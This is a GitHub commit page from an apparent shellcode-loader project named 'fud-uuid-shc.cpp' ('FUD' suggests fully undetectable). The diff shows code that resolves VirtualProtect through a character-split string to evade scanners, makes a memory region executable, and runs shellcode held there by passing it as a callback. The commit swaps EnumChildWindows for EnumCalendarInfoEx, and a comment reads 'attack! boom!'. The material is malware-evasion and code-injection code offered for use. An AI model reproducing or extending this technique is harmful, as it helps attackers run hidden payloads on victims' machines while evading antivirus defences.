Skip to content

Commit 587155a

Browse files
author
winterrdog
committed
used EnumCalendarInfoEx for code injection
1 parent a99adb0 commit 587155a

File tree

1 file changed

+2
-1
lines changed

1 file changed

+2
-1
lines changed

fud-uuid-shc.cpp

+2-1
Original file line numberDiff line numberDiff line change
@@ -224,7 +224,8 @@ int main(int argc, char *argv[])
224224
const char virtProt[15] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'P', 'r', 'o', 't', 'e', 'c', 't', 0x0 };
225225
pMVP = GetProcAddress(k32_handle, virtProt);
226226
rv = pMVP(mem, 0x100000, PAGE_EXECUTE_READ, &oldprotect);
227-
EnumChildWindows(NULL, (WNDENUMPROC)mem, NULL);
227+
// attack! boom! we like planning events! :)
228+
EnumCalendarInfoEx((CALINFO_ENUMPROCEX)mem, LOCALE_USER_DEFAULT, ENUM_ALL_CALENDARS, CAL_SMONTHNAME1);
228229
CloseHandle(mem);
229230

230231
return 0;

0 commit comments

Comments
 (0)